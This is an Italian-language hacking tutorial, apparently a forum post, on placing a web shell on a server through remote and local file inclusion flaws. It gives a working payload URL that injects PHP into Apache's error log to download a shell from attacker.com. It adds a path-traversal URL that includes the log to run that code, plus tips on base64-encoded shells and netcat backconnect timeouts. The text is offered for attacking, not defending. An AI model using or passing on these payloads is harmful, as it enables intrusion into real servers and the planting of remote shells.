Generalmente ci sono due modi per caricare una shell su un server.
Usa RFI per eseguire script PHP che posiziona la shell
Metti un file di testo su un altro server web che contiene codice php per posizionare una shell sul server, quindi includi questo file. Puoi posizionare la shell sul server in vari modi.
- Usa il modulo FTP / HTTP / ... di php per scaricare la shell da un server
- Posiziona la shell con codifica BASE64 in una variabile e scrivi il contenuto decodificato in un file
Ti suggerisco di utilizzare la seconda opzione perché non si basa su moduli che potrebbero non essere installati o disabilitati su quel server specifico.
Usa l'RFI come LFI ed esegui direttamente il codice PHP
Nella maggior parte dei casi, le vulnerabilità RFI possono essere utilizzate anche per includere file locali. Quindi puoi usarlo come LFI che può essere utile. Nel primo passaggio si utilizza uno script per eseguire una richiesta HTTP su quel server. Tu usi cURL, ... perché non vuoi che i caratteri speci ci siano convertiti in htmlentities ... La tua richiesta potrebbe essere simile a questa:
http://victim.com/i_dont_exist.php?code=<?php file_put_contents("shell.php", file_get_contents("http://attacker.com/shell.txt")) ?>
Si vuole che questo causi un errore 404 perché questo dovrebbe essere scritto nel log degli errori. Si trova in /var/log/apache/error.log quando la vittima utilizza apache e una configurazione predefinita. Quindi si chiama RFI come LFI per includere il file di log e per eseguire il codice PHP. Ad esempio:
http://victim.com/index.php?file=../../../../var/apache/error.log
Quindi il codice PHP verrà eseguito e la shell verrà posizionata.
// Un problema che dovrai affrontare quando avvii una sessione netcat usando uno script php è il timeout dello script. Gli script PHP eseguiti tramite un server web hanno un timeout per impedire processi che durano per sempre. Penso che il valore predefinito per questo sia 60 secondi, il che significa che dopo 60 secondi il tuo backconnect verrà chiuso. Questo è il motivo per cui molti hacker non vogliono eseguire il loro malware come thread del demone apache.